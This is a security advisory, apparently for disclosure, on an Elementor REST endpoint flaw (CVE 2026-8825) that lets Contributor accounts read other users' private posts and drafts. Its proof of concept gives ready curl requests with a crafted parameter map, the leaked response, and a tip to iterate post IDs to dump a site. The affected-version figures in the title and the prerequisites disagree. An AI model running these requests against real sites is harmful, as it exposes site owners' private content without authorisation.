Elementor < 4.1.4 – Contributor+ Sensitive Information Disclosure via REST API | CVE 2026-8825

Description

The plugin does not properly check user permissions before returning post data through one of its REST endpoints, allowing authenticated users with Contributor-level access and above to retrieve the title, body and metadata of private posts, private pages and drafts authored by other users (including administrators).

Proof of Concept

Prerequisites:
- Elementor 4.0.8 or earlier installed and activated.
- One administrator account holding at least one private post (note its post ID as TARGET_ID).
- One Contributor account on the same site.

1. Log in as the Contributor and obtain the standard wp_rest nonce (rendered as `wpApiSettings.nonce` on any logged-in page such as /wp-admin/profile.php).

2. Confirm that WordPress's native REST endpoint denies access to the private post:

curl -i 'https://target.tld/wp-json/wp/v2/posts/TARGET_ID' \
    -H 'X-WP-Nonce: CONTRIBUTOR_WP_REST_NONCE' \
    --cookie 'wordpress_logged_in_HASH=CONTRIBUTOR_COOKIE'

Expected response: HTTP 403 with {"code":"rest_forbidden", ...}.

3. Request the same post through Elementor's REST endpoint with is_public=false and an attacker-supplied keys_conversion_map:

curl -i 'https://target.tld/wp-json/elementor/v1/post?term=TARGET_ID&is_public=false&items_count=1&included_types[]=post&keys_conversion_map[ID]=id&keys_conversion_map[post_title]=title&keys_conversion_map[post_content]=content&keys_conversion_map[post_status]=status' \
    -H 'X-WP-Nonce: CONTRIBUTOR_WP_REST_NONCE' \
    --cookie 'wordpress_logged_in_HASH=CONTRIBUTOR_COOKIE'

Observed response (HTTP 200):

{"success":true,"data":{"value":[{"id":TARGET_ID,"content":"<private body>","title":"<private title>","status":"private"}]}}

The same primitive also reads drafts, scheduled and pending posts, and private pages — iterate `term=1, 2, 3, ...` and add `included_types[]=page` to enumerate the entire site.